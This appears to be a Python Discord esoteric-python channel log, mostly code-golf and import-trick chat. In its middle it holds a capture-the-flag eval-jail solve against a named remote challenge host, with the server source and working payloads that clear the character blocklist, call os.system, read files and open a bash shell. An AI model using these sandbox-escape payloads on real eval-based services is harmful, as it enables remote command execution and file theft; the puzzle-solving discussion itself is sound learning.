#esoteric-python
1 messages · Page 33 of 1
this is an esoteric python question: https://discord.com/channels/267624335836053506/1148652745461596210
can I modify a package so that one of its modules can be in a different location? So you can still do "From X.Y import Z" but Y is actually in a different location than X?
(I will know the location and have full control of package X, but not much control of Y)
This might not be what you mean, and there is probably a more elegant way to do it, but you can just import the name from the other thing if it's imported. For example in my project I have a file print_all.py that has import pandas as pd, then if in another file I have py from print_all import pd print(pd) I get <module 'pandas' from ...>
thanks, in this case I am able to get the import by modifying sys.modules, eg
file X:
sys.modules["X.Y"] = Z```
Another file:
```from X import Y```
this works to give me Z, as though it was part of X
however, my new problem is that VSStudio won't know about the sys.modules modification, so while it works at runtime, there's no code autocomplete - thats what im trying to figure out now, how to get the autocomplete to know whats in Z, even though I manually added it to sys.modules
So can you not do from X import Z as Y?
i can the issue is Z might move around somewhere else in the system
Z is a file provided by a modder
I can scan the directories at startup, find file Z, and then modify sys.modules so that from ___ import Z will work consistently, regardless of where Z moves
The simplest thing I can think of would be to have a dummy Y that gets imported in the other file, but then at run time gets overwritten by the Y from X.
that should prevent the visual studio warning on the import, though i am hoping to find a way to also get code autocomplete for the real class rather than the dummy, so that a second modder can extend the first modders work
i know this may not be practically feasible so thank you for thinking on it and sorry if not
(these mods might be files from the steam workshop for example, or they might be repos someone clones into a mods folder something like that)
(my alternative is to make a mod installation process that moves the files to a known location on install, and somehow tracks what file is from what mod so you can still uninstall them - thats the effort to avoid)
From my C# BepInEx modding experience that's just how it is. The mod can't reference the actual game dll, so the game modding toolkit includes a dummy game dll with all the same function names and signatures, but no functionality. That then gets a correct pointer to the actual game at run/injection time.
thanks for the perspective
import hooks
if that's what you want to do, why not just have a specific directory dedicated for extensions
then, you don't need to worry about Z moving around
The problem is the extensions need to be packaged with a bunch of unrelated files
So if I have a dedicated directory, then I am responsible to copy the related files out of their natural home (likely the folder of assets etc the modder has provided, possibly a locally checked out repo) and then manually keep them in sync
Thanks for the tip on import hooks looking them up now
you can have several extension folders then
or, better yet, have one top-level extension folder
and just put any extension stuff in that using the same file-structure as whatever else uses
if they reference a assets/somefile.png, it would reference that inside the subdirectory
Hmm
I suppose I could just add all their parent dirs to sys.path during program start
what
Wherever they are they could be imported by their raw module name
So I inspect the mods folders, find the relevant modules, and do sys.path.append(module_parent_dir) then just import Module
And for one modder to get VSCode autocomplete on another modder’s work, they can add it’s parent folder to the workspace search paths
there's a better way to do that
lets say you have a folder called ext (extensions)
ext/__init__.py will be yours, and will be completely empty
other people can add ext/whatever_module, and then in ext/__init__.py, add from . import whatever_module
you import ext, and their module is imported
that would be a lot simpler than dynamically detecting modules, especially since you have no idea how their code is structured
why is that better? (and/or, whats wrong with adding to sys.path to save on init.py files?)
ahh i can see how it solves the autocomplete issue... ok
from modsdir.moddirectoryname.mod import mod
it doesn't need runtime introspection
with open("database.json", "r") as data_file:
database = data_file.read()
how is data_file string?
data_file is not string in that part of code, something else is going on, see #❓|how-to-get-help though
your using load which takes an fp, not loads which takes the string here
I used load after this line
with open("database.json", "r") as data_file:
database = data_file.read()
data = json.load(database)
this is the wrong channel! see #❓|how-to-get-help
none reply there
json.load does not take a string argument
this is the wrong channel
bro just help me with this
go to pygen, the help forum things, or a relevant topical channel
second time I will go to posts
don't call me bro please
bruh
and i did help you
.
the error about read not load
the error happens because you pass a string to something that expects a file
and again, this is the wrong channel
Hello ! I would like to make a desktop application, on which I can make updates, a bit like League of Legends, will it have a name?
please
pls it's the good channel
wrong channel
i seen it and i closed it sry (i see the schema, looked like complicated)
Is there a method to define and get a value from a dictionary in one line
Like right now I have
cc={17:4,18:2,19:0,20:6,21:4,22:2,23:0}
cc=cc[int(str(y)[0:2])]```
cc=(cc:={...})[int(str(y)[0:2])]
although that's useless since it overwrites itself
Thanks, I don't know why I didn't just consider parentheses lol
I'm using it to get days of the week, it works
def getdotw(y,m,d):
m=m-1
yc=int(str(y)[2:])
yc=(yc+(yc//4))%7
mc=[0,3,3,6,1,4,6,2,5,0,3,5][m]
cc={17:4,18:2,19:0,20:6,21:4,22:2,23:0}
cc=cc[int(str(y)[0:2])]
ly=0
if not(((int(y)/4)==0)or((y/400)==0)):ly=-1
return"Su Mo Tu We Th Fr Sa".split()[((yc+mc+cc+d+ly)%7)+1]```
ok but what's the point of assigning the first dict to a variable
you overwrite it immediately after
Code golf
Shortening code as much as possible
{}[] doesn't work
yes it does
Nah look
!e
print({"a":1,"b":2}["a"])
@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.
1
Must have messed up first time lol
Is there any further improvement I can make upon this?
getdotw=lambda y,m,d:-~((((a:=int(str(y)[2:]))+(a//4))%7)+[0,3,3,6,1,4,6,2,5,0,3,5][~-m]+{17:4,18:2,19:0,20:6,21:4,22:2,23:0}[int(str(y)[0:2])]+d+(-1*(not((y%4==0)|(y%400==0)))))%7```
there's setdefault but it's a bit too long for golf
Sounds cool anyways, what is it?
tha parents around the -1*(not...) can be removed
mul has higher precedence than add
Noice
{17:4,18:2,19:0,20:6,21:4,22:2,23:0}[int(str(y)[0:2]))
``` -> ```py
((3-int(str(y)[:2]))%4)*2
Woah
i think you have a bug with your leap year checking
its a leap year if (! y % 4) && ((y % 100) || (! y % 400))
!e
d = {}
print(d.setdefault(1, 2))
print(d)
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 2
002 | {1: 2}
-((y%4<1)&(y%100>0 or y%400<1))
should work
and fix the bug
any simplification?
print("".join(filter(__import__("functools").reduce(set.intersection, map(set, (x := input().strip().split(", ")))).__contains__, "".join(x))))
reduce(set.intersection, x) is just set.intersection(*x)
That doesn't work, it gives an output when there shouldn't be (at least in my interpretation) try tom, marry, and doesn't give the no match string. See #1148837061470728192 message
!e```py
foo = {1, 2, 3}
foo.add(-1)
foo.add(1_024)
print(foo)
print(list(foo))
@plush halo :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | {1024, 1, 2, 3, -1}
002 | [1024, 1, 2, 3, -1]
#bot-commands
ive been testing this but its increasing by two on leap years
getdotw=lambda y,m,d:((((a:=int(str(y)[2:]))+(a//4))%7)+[0,3,3,6,1,4,6,2,5,0,3,5][~-m]+((3-int(str(y)[:2]))%4)*2+d+-1*(-((y%4<1)and(y%100>0 or y%400<1))))%7```
so what are we doing?
!e
getdotw=lambda y,m,d:((((a:=int(str(y)[2:]))+(a//4))%7)+[0,3,3,6,1,4,6,2,5,0,3,5][~-m]+((3-int(str(y)[:2]))%4)*2+d+(-((y%4<1)and(y%100>0 or y%400<1))))%7
print(getdotw(2023,9,5)==2)#True
print(getdotw(2023,9,6)==3)#True
print(getdotw(2024,9,5))
print(getdotw(2024,9,6))```
@humble rune :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | True
002 | True
003 | 3
004 | 4
i need 10 extra iq points to be able to finish my script, any ideas where to look?
i dont know what i fixed
but it works now ig
getdotw=lambda y,m,d:((((a:=int(str(y)[2:]))+(a//4))%7)+[0,3,3,6,1,4,6,2,5,0,3,5][~-m]+((3-int(str(y)[:2]))%4)*2+d-1*(y%4<1 and(y%100>0 or y%400<1)))%7```
lost 6 characters by replacing
[0,3,3,6,1,4,6,2,5,0,3,5][~-m]```
with
```py
int("033614625035"[~-m])```
Do you really need the ~-?
Why not just change the string instead
What is the reason for 1*?
leap years
But like why couldnt you just remove 1*? I dont see a situation where multpling by 1 would do anything
test for today works
im trying to do all these complex things and forgetting all the common sense fixes lol
its a integer
theres no other way that i know of for getting specific digits of ints
As an example, if y = 1994, then are you trying to get 94?
Wouldnt that just be y%100?
i feel stupid
That can be codegolfed to y%[4,16][y%25<1]<1 (idea for this came from https://codegolf.stackexchange.com/a/50914 )
tom, marry should be "mm"
and that is what it shows up as (if you input lowercase, as the tests do)
oo cool
Saved another byte y%4**-~(y%25<1)<1

Feels like it should be possible to save at least 1 more byte
hmmm, maybe it isn't possible
https://codegolf.stackexchange.com/a/50891 beat the current best python solution for the problem by 9 bytes
current working code:
getdotw=lambda y,m,d:((((a:=y%100)+a//4)%7)+int(" 033614625035"[m])+((3-int(str(y)[:2]))%4)*2+d-(y%4**-~(y%25<1)<1))%7```
Isnt that the same as just (3-y//100)%4*2?
i was just treating the int(str(y)[:2]) as an opaque thing since at the time i didn't know what it was supposed to be doing
yeah
You can improve it by changing
(((a:=y%100)+a//4)%7)to y%100*5//4 (no need for %7 here since you mod with 7 at the end)
and
((3-int(str(y)[:2]))%4)*2 to (3-y//100)%4*2
oh
Hmm I wonder if it is possible to make the leap year check shorter. I am able to come up with multiple solutions of the same length
y%4**-~(y%25<1)<1
4**(y%5>0)*y%16<1
y**-~(y%5>0)%16<1
I wonder, how much time you spend making this?
kfc,mcd = str(8 * 10**3 + 1 * 10**2 + 1 * 10**1 + 1 * 10**0),52050554054055.5
output_string = "".join([chr(int((f"{int(mcd*2)}{kfc}")[i:i+3])) for i in range(0, len((f"{int(mcd*2)}{kfc}")), 3)])
!e ```py
kfc,mcd = str(8 * 103 + 1 * 102 + 1 * 101 + 1 * 100),52050554054055.5
output_string = "".join([chr(int((f"{int(mcd2)}{kfc}")[i:i+3])) for i in range(0, len((f"{int(mcd2)}{kfc}")), 3)])
print(output_string)
@fleet bridge :white_check_mark: Your 3.11 eval job has completed with return code 0.
hello̫
Hi!
I have a question about set in CPython. Does anyone know of an example where list(set(A)) doesn't maintain the original order of A?
!e
print(list(set([2, 1])))
@dreamy pier :white_check_mark: Your 3.11 eval job has completed with return code 0.
[1, 2]
@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.
[1, 2]
!e
print(list(set([23, 21, 22])))
@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.
[21, 22, 23]
Someone should make a sorting algorithm called setsort
almost any
!e
A = [*range(10)] + [*range(10, 20)][::-1]
print(list(set(A)))
@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]
!e
print(list({1, 8}))
@restive void :white_check_mark: Your 3.11 eval job has completed with return code 0.
[8, 1]
!e
print(list({1, 8, 2, 3, 4, 5}))
@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.
[1, 2, 3, 4, 5, 8]
!e
import random
random.seed(1337)
n = 10**5
A = list(range(n))
random.shuffle(A)
print(list(set(A)) == sorted(A))
@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.
True
It works!
Yeah, if no entries are missing. At that point you may as well just store range(n).
(it also stops working when the numbers get large)
!e
import random
random.seed(1337)
n = 10**5
A = list(range(n))
random.shuffle(A)
del A[n//2:]
print(list(set(A)) == sorted(A))
@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.
True
Ye true.
setsort
Hmm this is giving me some funny ideas. I could make a priority queue out of this.
!e
code
!eval [python_version] <code, ...>
Can also use: e
Run Python code and get the results.
This command supports multiple lines of code, including formatted code blocks. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.
The starting working directory /home, is a writeable temporary file system. Files created, excluding names with leading underscores, will be uploaded in the response.
If multiple codeblocks are in a message, all of them will be joined and evaluated, ignoring the text outside them.
Currently only 3.11 version is supported.
We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!
please go to #bot-commands
!e not actually large
import random
A = [32, 0, 72, 81, 56]
print(list(set(A)) == sorted(A))
@dreamy pier :white_check_mark: Your 3.11 eval job has completed with return code 0.
False
You need the largest integer in the list to be < 2 * n (where n is the number of integers in the list) for setsort to work correctly
Is this the esoteric python channel? yes. Is this question esoteric? I think so but you can be the judge:
Is there any way I can embed some text in a module filename without it impacting the "from modname" setup?
Basically, I want to mark some of my module files in a generic way that .gitignore knows to include them - so I thought maybe if there's an escape character or some way to modify the python file without messing up the import, I could put a flag in the filename and make a gitignore pattern for it
my problem broadly is: I need to gitignore anything downstream users add to my package repo after checking it out, but I need my upstream modules to stay part of the package repo
(and I can't separate them into separate packages because they all need to be importable with "from packagename.modname")
thanks chilaxan - I understand how to do this manually on a per-file basis, and I am looking for a way to do it automatically - where I can set one gitignore rule and then just name my python files in such a way they're covered by it
maybe I could try adding a second file extension before the .py, if python for example ignores everything after the . (edit: it doesnt work)
make a script to auto generate your .gitignore, messing with filenames is asking for weird bugs
please read the channel description
Golfing, Python VM languages, obfuscation, code gore and other general Python weirdness (lambda: "esoteric python")()
It falls into "general python weirdness"
You can do that, and then use importhook to treat these files as regular .py files
You can look at pyximport module for example (it allows you to import .pyx files)
!e (minor) parser error
f(A,*)
@versed eagle :x: Your 3.11 eval job has completed with return code 1.
001 | File "/home/main.py", line 1
002 | f(A,*)
003 | ^
004 | SyntaxError: iterable argument unpacking follows keyword argument unpacking
Can't you ignore everything and then just manually add your files to Git?
has anyone taken a poke at , mojo python yet ?
wrong channel
Given a python server that runs Python 2.7, takes arbitrary user input,
- checks these 7 characters ':', '\', '.', '[', '{', ']', '}' for rejection
- then evaluates that input in
evalwith the global context but with these 4 identifiers 'eval', 'getattr', 'input', 'help' set to None and with 'os' imported, - is there still a way to get access to the server shell for arbitrary command execution?
Probably yes. But I have zero idea what to write to bypass these restrictions.
from os import system
system('echo hello world')
statements won't work in eval
i see
I searched all over the internet for this and like all of them use the banned 7 characters in some way
and since this is python 2.7, exec the statement won't run inside eval
it is possible to use a lot of memory: 'x'*10**10
it is bad, but not as bad as access to system shell
Yea
why 2.7?
2.7 dont even work on my pc :(
Awh
I looked for some way for attribute access
The main 3 ways (dot, indexer with [ ], getattr) are all banned here
setattr and delattr are still available, maybe it is possible to use them somehow
Yea
I hoped I could run the del statement somehow
such that eval is accessible again
and then I get attribute access
But it doesn't work that way
Statements won't run in eval
del __builtins__ will work, but it is a statement
(in 3.11, idk what would happen in 2.7)
execfile is there but those 4 identifiers set to None are still carried onto the inner evaluation
open is there but I don't have access to file writing (maybe?)
__import__ is there but I can't import a function directly without attribute access
type('',(),dict(__getitem__=))()[]
``` im out of ideas
iter and next inside global() only lists keys without values
The [ ] are still there
But still thanks for trying to help
do you have an example test program to show how the server handles the code?
also i'm assuming exec is filtered out, too 😆
there is no exec function in py2.7
nc chal.firebird.sh 35010
(use open(str(...)) for output)
you can send type('',(),dict(__eq__=bool))(), this will be treated as valid answer
oh ```py
Sanity Check: Are you a human? [y/n] type('',(),dict(eq=bool))()
Cheating is not allowed!
Mhm
os._exit()
Traceback (most recent call last):
File "app.py", line 44, in <module>
raise BaseException("Attack attempt detected! \"{}\", try harder.".format(blocklist[b]))
BaseException: Attack attempt detected! ".", try harder.
Yea the banned characters
. : \ [ ] { }
But my direction was to dir() and look for anything useful
which didn't ring a bell
how to get some text info from it?
print is statement, raise is also statement
i want to know the list of locals in the scope
open('app' + chr(46) + 'py')
Wrong answer, try harder.
open(str())
[Errno 2] No such file or directory: ''
Wrong. Bye!
``` i dont understand what you mean
oh, i see
open(str(os))
name 'os' is not defined
``` looks like it is not imported
vars(x) == x.__dict__
wyd
If I can do attribute access then I can still import everything in os through eval
reload(__import__('__builtin__')),getattr(__import__('os'),'system')('echo hi')
'NoneType' object is not callable
Which would be the way for shell
getattr banned
getattr input help eval are set to None
i hoped that reloading builtins module will restore these deleted builtins
Ohh
lmao i was doing getattribute(os, system)
without quotes?
getattr(os, "system")("stuff")```
well the problem is the getattribuet part
Yess
but tbh they should use subprocess instead
how to use this? i just keep getting 'welcome' and 'recv success'
Linux?
sadly there is no walrus in py2.7
If this had been py3 then exec is easy
ahh ok im on windows will try on linux
i just typed it into my wsl and it works
!e
getattr(__import__("os"), "system")("echo hello")```
@unique heath :warning: Your 3.11 eval job has completed with return code 0.
[No output]
huh
If you solve 100 of these equations, I'll give you the flag again :)
-230*210
execfile('app'+chr(46)+'py')
If you solve 100 of these equations, I'll give you the flag again :)
136*-224
execfile('app'+chr(46)+'py')
'NoneType' object is not callable
Wrong. Bye!
``` huh
type(str(123),(),dict())()()
'123' object is not callable
``` another way to get text data
couldnt get it to work in either wsl or a vm 🤷♂️
It's just the linux nc
>>> '{x[system]}'.format(x=vars(__import__('os')))
'nt.system'
if we somehow can call str.format, we can get string representation of some attribute
{}[] can be replaced with chr(...)
builtins.format does different thing
interesting
so this can be used to index
but it can't be used to call I guess
ah it also supports dot access
>>> str.format(chr(123) + 'x' + chr(46) + 'system' + chr(125), x=__import__('os'))
'nt.system'
``` yes
Hi guys i just readed
https://www.codingame.com/blog/code-golf-python/
and
https://code.golf/wiki/langs/python
but i couldnt found anything releated to examples of how to apply bitwise operators in golfing
if someone know about more articles or something let me know
From people willing to learn all the ins and outs of a programming language to people wanting to put their esoteric language skills to use - code golf has always been the type of competition
source here :3
import random
import sys
def check(s):
for b in blocklist:
if str(s).find(blocklist[b]) > -1:
return b
return None
blocklist = {
"fullstop": ".",
"back_slash": "\\",
"open_square_bracket": "[",
"close_square_bracket": "]",
"open_curly_bracket": "{",
"close_curly_bracket": "}",
"colon": ":"
}
DISABLE_FUNCTIONS = ["getattr", "eval", "help", "input"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}
print "If you solve 100 of these equations, I'll give you the flag again :)"
for i in range(100):
if i >= 50:
if random.randint(1, 50) > 47:
san = raw_input("Sanity Check: Are you a human? [y/n] ")
b = check(san)
if b is not None:
raise BaseException("Attack attempt detected! \"{}\", try harder.".format(blocklist[b]))
if san.lower() != 'y':
print "Cheating is not allowed!"
sys.exit()
a = random.randint(-0xff,0xff)
b = random.randint(-0xff,0xff)
op = random.choice(["*","+","-"])
try:
eq = str(a)+op+str(b)
user = raw_input(eq+"\n")
b = check(user)
for i in range(3):
if b is not None:
raise BaseException("Attack attempt detected! \"{}\", try harder.".format(blocklist[b]))
if eval(user, DISABLE_FUNCTIONS) == eval(eq):
break
else:
if i == 2:
raise BaseException("You have made too many mystiz. Bye.")
user = raw_input("Wrong answer, try harder." + "\n")
b = check(user)
except Exception as e:
print e
print "Wrong. Bye!"
sys.exit()
print "Again. Trust no one :) Thx for playing."
for anyone that's wondering, the eval immediately gives you an arbitrary file read (just open(str(list(open(some path)))) to read file contents), so i thought it would be fun to poke around in /proc/self/ and yes indeed this script is located at /app/app.py
nothing super interesting though i don't think you can get a root shell from that alone 
oh
i figured this out!
gimme a sec
||```py
$ nc chal.firebird.sh 35010
If you solve 100 of these equations, I'll give you the flag again :)
55-22
next(iter((0,delattr(import('main'),'blocklist'),setattr(import('main'),'blocklist',list()))))
Wrong answer, try harder.
globals().setitem('system', lambda s: (type('',(),dict(eq=id))(),import('os').system(s))[0])
Wrong answer, try harder.
system('echo hi!')
hi!
-132--94
system('ls')
app.py
-222+110
system('python3 -V')
sh: 1: python3: not found
||
Clear list of disallowed characters:
next(iter((0,delattr(__import__('__main__'),'blocklist'),setattr(__import__('__main__'),'blocklist',list()))))
(i think delattr part here ^ is not requred)
Set global function that calls os.system and returns object that is equal to everything:
globals().__setitem__('system', lambda s: (type('',(),dict(__eq__=id))(),__import__('os').system(s))[0])
Do whatever you want:
system('echo hi!')
||
this helped a lot, actually
extracting source code is a lot easier: ```py
open(str(list(open('app'+chr(46)+'py'))))
[Errno 36] File name too long: <filename>
do this locally:
s = <filename>
print(''.join(eval(s)))
||sh $ nc chal.firebird.sh 35010 If you solve 100 of these equations, I'll give you the flag again :) 189*-96 setattr(__import__('__main__'),'blocklist',dict()) Wrong answer, try harder. __import__('os').system('bash') bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell firebird@62565c2126b4:/app$ || you can also just drop out to a shell pretty easily
how does nc work? is it redirecting stdin/stdout of process directly into network?
i did cat readflag and it screwed everything
file content looks like this
echo hi looks like this
bruh, even my wsl shell is broken
and cmd.exe too!
readflag is an executable
there are 2 files in /: flag and readflag
readflag is big, readable and contains some garbage
flag is small and not readable
oh, i forgot that i should do ./readflag instead of readflag to run executable 🤦
cat'ing readflag probably sent a ton of random control sequences when it was printing the raw file content
i think it is some obfuscated cpp program
it probably isn't too obfuscated tbh. most likely a setuid binary that just opens flag and prints it
there are some random words in this binary
LC * probably refers to locales
__PRETTY_FUNCTION__ is cpp macro
executables have lots of metadata
don't cat binary files to stdout
it can mess up your terminal :3
using reset (a special case of tset) should fix it @fleet bridge
oh wow thanks
so the main idea is to delattr the variable from the main
I'll try to work this out myself
before looking at it seriously
why in the world would you import _main_
exactly
but it's part of the solution
what the hell
scroll up
no thanks never mind
code golf is annoying
ive found 3 different 38's but cant make it shorter
apparently there's 2 more bytes that can be saved though
whats the challenge?
here ya go
https://code.golf/fibonacci#python
if you happen to get something please dont tell me though,
have you tried ||assigning the same thing to the two variables||?
thats one of my 38's
three 38's, and a 43 ||```py
loop
38
a,b=0,1
while a<1e6:print(a);a,b=b,a+b
exec stringmul
38
a,b=0,1;exec("print(a);a,b=b,a+b;"*31)
38
a=b=1;exec("print(b-a);a,b=b,a+b;"*31)
recursion
43
def f(a,b=1):a<1e6<(print(a),f(b,a+b))
f(0)
the problem is ||you have to include 0 also which means you need to offset the entire thing by 1, which takes 2 bytes (the -a in the print)||
||you're on the right path 👍||
okie
I've got a really weird looking 37 byte solution
I dont see how to get it down to 36
Been thinking if there is some nice property of 832040 (or the fibonacci numbers close to it) that lets me break the while loop with a short check, but I havent found anything better than something like <1e6
That pesky 0 gets into the way
It would be so much easier to print the fibonacci numbers starting with 1 1 rather than 0 1
hint ||not in 3.7||
thought it was obvious but i guess not

I dont think there is any 1 character change I can make to my 37byte to get it down to 36byte
I would have 36 byte in Python2
||```
initial
1 1
first iteration
0 1
second iteration
1 2
third iteration
1 3
fourth iteration
2 5
Thats not what I'm doing, but ok
||this is how the variables should look||
ok got it now
I've got a 35b solution for n=29
also 35b for n=28
how does the while 1e6 part works?
1e6 is just 1000000.0
Now I've checked. My 35b solution would work for n =
[2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 33, 34, 35, 36, 37, 38, 39, 41, 42, 43, 44, 45, 47, 48, 50, 51, 52, 53, 54, 55, 56, 57, 59, 66, 67, 68, 69, 70, 71, 72, 74, 75, 77, 82, 83, 84, 88, 89, 90, 93, 95, 96, 98, 99, 107, 117, 119, 131, 167]
But unfortunately n=31 is not on the list 
Why did they have to pick exactly n=31
that might be why
Another thing I noticed about that site is that if you get AC even if you technically RTE after printing the answer
So maybe it could be possible to exit a while loop by dividing by 0
what is the 35b solution?
!e
message = 'hello pydis'
import __main__ as globalnamespace
print(globalnamespace.message)
@pearl socket :white_check_mark: Your 3.11 eval job has completed with return code 0.
hello pydis
thats just m="hello pydis";print(globals()["m"])
!e
m="hello pydis";print(globals()["m"])
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
hello pydis
it's mutable which is kind of cool
!e
var = 'abc'
import __main__ as gn
print(gn.var)
something_else = 'def'
print(gn.something_else)
@pearl socket :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | abc
002 | def
yes, globals are mutable
!e py (__:=__package__.__dir__().__len__(),eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__))))(__name__, (eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(___)).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__))))), ), {chr(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))): (lambda _: eval(__builtins__.__dir__().__getitem__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__)).__add__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__))).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__)))))))(__builtins__.type(__builtins__.list.__call__()).__getitem__(__builtins__.type(__builtins__.list.__call__()).__call__(__builtins__.type(__builtins__.tuple.__call__()).__add__((j:=(((-~int().__add__(-~int())).__pow__(int())),((-~int().__add__(-~int())).__pow__(int()).__add__(((-~int().__add__(-~int())).__pow__(-~int().__add__(-~int()))))),(((-~int().__add__(-~int())).__pow__(-~int())).__add__(((-~int().__add__(-~int())).__pow__(-~int().__add__(-~int()).__add__(-~int()))))))),__builtins__.type(__builtins__.tuple.__call__()).__getitem__(j,__builtins__.type(__builtins__.slice.__call__(None,None,None)).__call__(None,None,~-int())))),__builtins__.slice.__call__(-~int(),None,-~(-~int())))))})().E())
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | (__:=__package__.__dir__().__len__(),eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__))))(__name__, (eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(___)).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__))))), ), {chr(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))): (lambda _: eval(__builtins__.__dir__().__getitem__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__)).__add__(__.__add__(__name__
... (truncated - too long)
Full output: https://paste.pythondiscord.com/ZYSSRWDBQIHO7PCPXJL3KCIWZE
..
DID WE UPDATE TO PY 3.11.5
!e
eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))))(__name__, (eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))))), ), {chr(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))): (lambda _: eval(__builtins__.__dir__().__getitem__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__add__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__()))).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__name__.__dir__().__len__().__floordiv__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))))))("Hello, world!"))})().E()```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello, world!
!e
(__:=__package__.__dir__().__len__(),eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__))))(__name__, (eval(__builtins__.__dir__().__getitem__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__))))), ), {chr(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())).__sub__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__package__.__dir__().__len__())))): (lambda _: eval(__builtins__.__dir__().__getitem__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__)).__add__(__.__add__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__))).__sub__(__package__.__dir__().__len__().__add__(__name__.__dir__().__len__().__floordiv__(__)).__floordiv__(__name__.__dir__().__len__().__floordiv__(__)).__sub__(__name__.__dir__().__len__().__floordiv__(__name__.__dir__().__len__().__sub__(__name__.__dir__().__len__().__floordiv__(__)))))))(__builtins__.type(__builtins__.list.__call__()).__getitem__(__builtins__.type(__builtins__.list.__call__()).__call__(__builtins__.type(__builtins__.tuple.__call__()).__add__((j:=(((-~int().__add__(-~int())).__pow__(int())),((-~int().__add__(-~int())).__pow__(int()).__add__(((-~int().__add__(-~int())).__pow__(-~int().__add__(-~int()))))),(((-~int().__add__(-~int())).__pow__(-~int())).__add__(((-~int().__add__(-~int())).__pow__(-~int().__add__(-~int()).__add__(-~int()))))))),__builtins__.type(__builtins__.tuple.__call__()).__getitem__(j,__builtins__.type(__builtins__.slice.__call__(None,None,None)).__call__(None,None,~-int())))),__builtins__.slice.__call__(-~int(),None,-~(-~int())))))})().E())```
